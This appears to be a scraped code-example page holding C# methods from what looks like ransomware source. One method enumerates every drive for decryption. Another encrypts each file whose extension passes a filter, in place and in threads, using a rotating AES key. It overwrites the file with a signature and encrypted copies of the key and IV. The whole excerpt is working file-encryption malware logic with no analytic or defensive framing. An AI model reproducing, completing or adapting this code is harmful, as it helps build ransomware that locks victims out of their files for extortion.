Esempio n. 1
0
        /// <summary>
        /// Main Decryption Method
        /// </summary>
        public void DecryptDisk()
        {
#if DEBUG
            Trace.WriteLine("[*] DecryptDisk");
#endif
            // Enumerate All Device Disks
            DriveInfo[] drives = DriveInfo.GetDrives();

            // Force Generate Aes Engine
            CriptoKeyManager.RotateAesKey();

#if DEBUG
            Trace.WriteLine("[+] Drives Enumerated Successfully. " + drives.Length + " Drives Found");
#endif

            // Iterate Drivers
            foreach (DriveInfo drive in drives)
            {
                DecryptDrive(drive);
            }
        }
        /// <summary>
        /// Encrypt a Single File (In Thread Enviroment)
        /// </summary>
        /// <param name="file"></param>
        private void ThreadEncryptFile(FileInfo file)
        {
            // Simple Thread Wait
            Thread.Sleep(10);

#if DEBUG
            Trace.WriteLine("");
            Trace.WriteLine("[*] EncryptFile (" + file.Name + ")" + " ThreadID:" + Thread.CurrentThread.ManagedThreadId.ToString());
            Trace.Indent();
#endif

            // Check File in Filter
            if (Common.FileInFilter(file.Extension))
            {
                // File Signature Decision Gate
                if (!Common.CheckSignature(file))
                {
                    // Encrypt
#if DEBUG
                    Trace.WriteLine("[+] File to Encrypt");
#endif

                    // Read File Data
                    Byte[] fileData = null;
                    FileManager.ReadFile(file, ref fileData);

                    // Encrypt File
                    using (FileStream fs = File.OpenWrite(file.FullName))
                    {
                        fs.Position = 0;

                        // Lock do Get Key and Rotate (with Proba)
                        byte[] key = null;
                        byte[] iv  = null;

                        lock (lockableObject)
                        {
                            // Rotate Key
                            CriptoKeyManager.RotateAesKey();

                            // Copy Keys to Encrypt
                            key = new byte[CriptoKeyManager.CURRENT_FILE_ENCRIPTION_KEY.Length];
                            iv  = new byte[CriptoKeyManager.CURRENT_FILE_ENCRIPTION_IV.Length];

                            Array.Copy(CriptoKeyManager.CURRENT_FILE_ENCRIPTION_IV, iv, CriptoKeyManager.CURRENT_FILE_ENCRIPTION_IV.Length);
                            Array.Copy(CriptoKeyManager.CURRENT_FILE_ENCRIPTION_KEY, key, CriptoKeyManager.CURRENT_FILE_ENCRIPTION_KEY.Length);

                            // Write Control Structure
                            fs.Write(ConfigurationManager.FILE_SIGNATURE, 0, ConfigurationManager.FILE_SIGNATURE_SIZE);
                            fs.Write(CriptoKeyManager.CURRENT_ENCRYPTED_FILE_ENCRIPTION_KEY, 0, CriptoKeyManager.CURRENT_ENCRYPTED_FILE_ENCRIPTION_KEY.Length);
                            fs.Write(CriptoKeyManager.CURRENT_ENCRYPTED_FILE_ENCRIPTION_IV, 0, CriptoKeyManager.CURRENT_ENCRYPTED_FILE_ENCRIPTION_IV.Length);
                        }

                        fs.Flush();

                        // Write Encrypted Data
                        CriptoFileManager.Encrypt(fs, ref fileData, ref key, ref iv);

                        // Clear Array
                        Common.ClearArray(ref key);
                        Common.ClearArray(ref iv);
                    }
                }
                else
                {
#if DEBUG
                    Trace.WriteLine("[+] File Alread Encrypted");
#endif
                }
            }
            else
            {
#if DEBUG
                Trace.WriteLine("[+] File Filter not Allowed");
#endif
            }


#if DEBUG
            Trace.Unindent();
#endif
        }